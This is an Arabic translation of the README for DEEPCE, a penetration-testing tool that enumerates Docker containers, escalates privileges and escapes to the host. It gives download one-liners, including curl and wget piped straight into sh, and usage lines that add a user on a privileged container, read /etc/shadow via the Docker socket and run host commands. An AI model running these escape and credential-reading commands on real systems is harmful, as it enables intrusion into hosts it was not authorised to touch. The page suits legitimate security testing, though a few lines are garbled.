
تعداد Docker، تصعيد الصلاحيات والهروب من الحاويات (DEEPCE)
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
تعداد Docker، تصعيد الامتيازات والهروب من الحاويات (DEEPCE)
لكي يكون متوافقًا مع أكبر عدد ممكن من الحاويات، كُتب DEEPCE بلغة sh نقية دون أي تبعيات. سيستخدم أدوات إضافية مثل curl وnmap وnslookup وdig إذا كانت متاحة، لكنه في معظم الحالات لا يعتمد عليها في التعداد.
لا ينبغي أن تلمس أي من عمليات التعداد القرص، ومع ذلك فإن معظم الاستغلالات تُنشئ حاويات جديدة مما يسبب كتابة على القرص، وبعض الاستغلالات ستعيد كتابة runC وهو ما قد يكون مدمرًا، لذا كن حذرًا!
يرجى الاطلاع أدناه على قائمة التعدادات والاستغلالات والحمولات التي يمكن لـ DEEPCE استخدامها. إذا كانت لديك أفكار لمزيد من الإضافات، فيرجى إرسال مشكلة (issue) في GitHub!
يمكن تنزيل DEEPCE على مضيف أو حاوية باستخدام أحد الأوامر المفردة التالية. نصيحة: نزّل إلى /dev/shm لتجنب لمس القرص.
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
إذا كنت تحب ما أقدمه في Deepce ومشاريعي الأخرى، يمكنك الآن دعم عملي مباشرة! بشراء فنجان قهوة لي ☕، فأنت لا تغذي احتياجي للكافيين فقط – بل تساعدني على تخصيص مزيد من الوقت لتطوير وتحسين هذه المشاريع مفتوحة المصدر. كل فنجان قهوة له أهميته ويجلب المزيد من الابتكار لعالم الأمن السيبراني. شكرًا لدعمك – فهو يعني الكثير لي ولمجتمع المصادر المفتوحة!
لمزيد من الصور، يرجى الاطلاع على مجلد الوثائق

فيما يلي قائمة التعدادات التي ينفذها DEEPCE.
لكل من الاستغلالات المذكورة أعلاه يمكن تعريف حمولات بهدف استغلال النظام المضيف. وتشمل هذه:
# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh
توضح الأمثلة التالية الأنواع المختلفة من الاستغلالات التي يمكن تنفيذها والحمولات المتاحة.
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
/etc/shadow./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
من الممكن تنزيل deepce وتشغيله دون لمس القرص، ومع ذلك لن تتمكن من تعيين الوسائط بسهولة (يمكن التلاعب بالمتغيرات مباشرة باستخدام export).
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
هناك بعض النصوص البرمجية والأدوات الرائعة لتعداد الحاويات والهروب منها والتي استوحيت منها عند كتابة هذا المشروع. ومع ذلك، شعرت بالحاجة إلى كتابة أداة بلغة sh فقط لتجنب الاضطرار إلى تثبيت تبعيات go أو ruby أو الاعتماد على ملف ثنائي ثابت. كما أردت أن أكون قادرًا على إجراء المزيد من عمليات التعداد لمحاولة اكتشاف ما هي حاوية Docker، لأنه أثناء الاختبار قد نجد أنفسنا داخل حاوية غير معروفة. لقد تزايد عدد الأشياء التي يمكن لهذا النص البرمجي تعدادها بشكل كبير، ففي كل مرة أضيف شيئًا جديدًا كنت أفكر في أشياء إضافية أخرى يمكنني إضافتها.
للمطورين الباحثين عن نصائح أمان Docker https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md
أرحب بطلبات السحب (pull requests) والقضايا (issues) والملاحظات.